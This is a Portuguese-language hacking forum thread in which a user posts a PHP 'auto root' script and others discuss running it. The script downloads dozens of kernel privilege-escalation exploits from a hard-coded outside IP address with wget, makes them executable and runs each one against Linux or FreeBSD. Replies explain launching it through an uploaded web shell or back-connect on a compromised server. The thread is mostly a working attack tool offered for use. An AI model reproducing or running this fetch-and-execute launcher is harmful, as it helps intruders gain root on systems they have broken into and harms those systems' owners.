Exploit [PHP] Php auto root

[n4sss]

Ola meus amigos, trago este simples autoroot em php, que pode nos ajudar em muitos casos como sabemos

#!/usr/bin/php 
<?php 
/* 
Auto root by n4sss 
Contact at: 
n-l4b[at]hotmail[dot]com 
2013 
 
D.Menzes cherry <3 
*/ 
set_time_limit(0); 
system("clear"); 
print "|--=--=--=--=--=--=--=--=--=--=--=--=--=-|\n"; 
print "|PHP Auto Root by N4sss                  |\n"; 
print "|--=--=--=--=--=--=--=--=--=--=--=--=--=-|\n"; 
print "|Contact: n-l4b@hotmail.com              |\n"; 
print "|Public Version                          |\n"; 
print "|Rooting: Lnx and FreeBSD                |\n"; 
print "|D.menzes Cherry <3                      |\n"; 
print "|--=--=--=--=--=--=--=--=--=--=--=--=--=-|\n"; 
sleep(4); 
print "\nKernel to verify:\n"; 
print "lnx or bsd: "; 
$kernel = fgets(STDIN); 
$kernel = trim($kernel); 
if($kernel == "lnx") 
{ 
print "|--=--=--=--=--=--=--=--=--=--=--=--=--=-|\n"; 
print "|PHP Auto Root by N4sss                  |\n"; 
print "|--=--=--=--=--=--=--=--=--=--=--=--=--=-|\n"; 
print "|Selected kernel : |Linux arq|           |\n"; 
print "|--=--=--=--=--=--=--=--=--=--=--=--=--=-|\n"; 
sleep(2); 
print "\n[+] Testing lnx xpl's please wait.\n"; 
print "[~] Meanwhile take a strong cafe (:\n"; 
sleep(2); 
system("mkdir lnx;cd lnx/"); 
 
system("wget http://184.22.219.50/xpl/2.6.3all"); 
system("chmod 777 2.6.3all"); 
system("./2.6.3all"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.17"); 
system("chmod 777 2.6.17"); 
system("./2.6.17"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.18"); 
system("chmod 777 2.6.18"); 
system("./2.6.18"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.18-6"); 
system("chmod 777 2.6.18-6"); 
system("./2.6.18-6"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.18-20"); 
system("chmod 777 2.6.18-20"); 
system("./2.6.18-20"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.32"); 
system("chmod 777 2.6.32"); 
system("./2.6.32"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.32_i686"); 
system("chmod 777 2.6.32_i686"); 
system("./2.6.32_i686"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.32nine"); 
system("chmod 777 2.6.32nine"); 
system("./2.6.32nine"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.33"); 
system("chmod 777 2.6.33"); 
system("./2.6.33"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.34"); 
system("chmod 777 2.6.34"); 
system("./2.6.34"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.34-2011"); 
system("chmod 777 2.6.34-2011"); 
system("./2.6.34-2011"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.37"); 
system("chmod 777 2.6.37"); 
system("./2.6.37"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.37rc2"); 
system("chmod 777 2.6.37rc2"); 
system("./2.6.37rc2"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.37-rc2"); 
system("chmod 777 2.6.37-rc2"); 
system("./2.6.37-rc2"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.39-2011"); 
system("chmod 777 2.6.39-2011"); 
system("./2.6.39-2011"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.39-2011-2012"); 
system("chmod 777 2.6.39-2011-2012"); 
system("./2.6.39-2011-2012"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.x"); 
system("chmod 777 2.6.x"); 
system("./2.6.x"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/15"); 
system("chmod 777 15"); 
system("./15"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2010-1"); 
system("chmod 777 2010-1"); 
system("./2010-1"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/ab"); 
system("chmod 777 ab"); 
system("./ab"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/c"); 
system("chmod 777 c"); 
system("./c"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/el5i386"); 
system("chmod 777 el5i386"); 
system("./el5i386"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/el5x86"); 
system("chmod 777 el5x86"); 
system("./el5x86"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/elflbl"); 
system("chmod 777 elflbl"); 
system("./elflbl"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/exp1"); 
system("chmod 777 exp1"); 
system("./exp1"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/exp2"); 
system("chmod 777 exp2"); 
system("./exp2"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/exp3"); 
system("chmod 777 exp3"); 
system("./exp3"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/exploit"); 
system("chmod 777 exploit"); 
system("./exploit"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/exploit2"); 
system("chmod 777 exploit2"); 
system("./exploit2"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/froot"); 
system("chmod 777 froot"); 
system("./froot"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/glibc"); 
system("chmod 777 glibc"); 
system("./glibc"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/iskorpitx"); 
system("chmod 777 iskorpitx"); 
system("./iskorpitx"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/jessica2"); 
system("chmod 777 jessica2"); 
system("./jessica2"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/pkexec"); 
system("chmod 777 pkexec"); 
system("./pkexec"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/rds-exploit"); 
system("chmod 777 rds-exploit"); 
system("./rds-exploit"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/vmsplice"); 
system("chmod 777 vmsplice"); 
system("./vmsplice"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/xplSUPER"); 
system("chmod 777 xplSUPER"); 
system("./xplSUPER"); 
sleep(1); 
print("[+] all lnx xpl's testeds! exiting!\n"); 
system("id"); 
exit(0); 
} 
elseif($kernel == "bsd") 
{ 
print "|--=--=--=--=--=--=--=--=--=--=--=--=--=-|\n"; 
print "|PHP Auto Root by N4sss                  |\n"; 
print "|--=--=--=--=--=--=--=--=--=--=--=--=--=-|\n"; 
print "|Selected kernel : |BSD-arq|             |\n"; 
print "|--=--=--=--=--=--=--=--=--=--=--=--=--=-|\n"; 
sleep(2); 
print "\n[+] Testing bsd xpl's please wait.\n"; 
print "[~] Meanwhile take a strong cafe (:\n"; 
sleep(2); 
system("mkdir BSD;cd bsd/"); 
 
system("wget http://184.22.219.50/xpl/FreeBSD/6.1-09.c"); 
system("gcc -o 6.1-09 6.1-09.c -lpthread"); 
system("chmod 777 6.1-09"); 
system("./6.1-09"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/FreeBSD/6.4"); 
system("chmod 777 6.4"); 
system("./6.4"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/FreeBSD/7.1-08.c"); 
system("gcc -o 7.1-08 7.1-08.c "); 
system("chmod 777 7.1-08"); 
system("./7.1-08"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/FreeBSD/2010"); 
system("chmod 777 2010"); 
system("./2010"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/FreeBSD/a.out"); 
system("chmod 777 a.out"); 
system("./a.out"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/FreeBSD/cebkmount"); 
system("chmod 777 cebkmount"); 
system("./cebkmount"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/FreeBSD/cve-2010-2693"); 
system("chmod 777 cve-2010-2693"); 
system("./cve-2010-2693"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/FreeBSD/6.1-09.c"); 
system("gcc -o 6.1-09 6.1-09.c -lpthread"); 
system("chmod 777 6.1-09"); 
system("./6.1-09"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/FreeBSD/free7.sh"); 
system("chmod 777 free7.sh"); 
system("./free7.sh"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/FreeBSD/l"); 
system("chmod 777 l"); 
system("./l"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/FreeBSD/master"); 
system("chmod 777 master"); 
system("./master"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/FreeBSD/w00t.so.1.0"); 
system("chmod 777 w00t.so.1.0"); 
system("./w00t.so.1.0"); 
exit(0); 
} 
 
//EOF_ 
//2013 
//Public version 
 
?>

[]'s

[infernobr]

vo testa n4ss vlw...

[matheuscs1]

deu erro aqui

br />
<b>Parse error</b>:  syntax error, unexpected '<' in <b>/home/exemplo/public_html/2011/files/note.php(2607) : eval()'d code</b> on line <b>2</b><br />

[n4sss]

<b>Parse error</b>

Esta rodando via navegador matheus?
Lembrando que o script tem o funcionamento apartir de cli(linha de comando)

[infernobr]

erro tb no php to usando o firefox tb.

[matheuscs1]

Esta rodando via navegador matheus?
Lembrando que o script tem o funcionamento apartir de cli(linha de comando)

Rodei via navegador rsrs.

Se eu usar uma shell pra enviar e excutar terei sucesso?

O comando pra executar é esse?
./exemplo.php

[n4sss]

O comando pra executar é esse?
./exemplo.php

Exato!

chmod 777 r00t.php
./r00t.php

Via back connect com a shell/ssh

Abraço!

[matheuscs1]

Não sei se fiz alguma coisa errada.
primeriamente dei permissão com

chmod 777 date.php

Depois executei o conmando:

./date.php

E tive o seguinte erro:

Status: 404 Not Found
Content-type: text/html

No input file specified.

Poderia dizer onde estou errando?

Um abraço.

[AnakinSyst3m]

n4ss pik das galaxias

[anonpack]

Pode me dizer como posso usar ?

[sn3f4]

Não sei se fiz alguma coisa errada.
primeriamente dei permissão com


Depois executei o conmando:


E tive o seguinte erro:


Poderia dizer onde estou errando?

Um abraço.

Vc ta dando permissão no diretório que o arquivo se encontra?

cd tal tal tal, chego onde ta o arquivo da ls para confirmar se ele esta lá, da pwd e já copia o diretório pra vc não perder mais.

Ai sim vc da chmod 777 nome_que_vc_upo.php

./nome_que_vc_upo.php

[matheuscs1]

Vc ta dando permissão no diretório que o arquivo se encontra?

cd tal tal tal, chego onde ta o arquivo da ls para confirmar se ele esta lá, da pwd e já copia o diretório pra vc não perder mais.

Ai sim vc da chmod 777 nome_que_vc_upo.php

./nome_que_vc_upo.php

Obrigado sn3f4 não sabia que tinha de dar permissão também no diretório.

[Bleard]

can u do one videos for this ?

[g4l0]

anonpack isso e um exploit local root codado em php, voce tem que ter uma shell upada em um server e executa-lo pra ganhar acesso root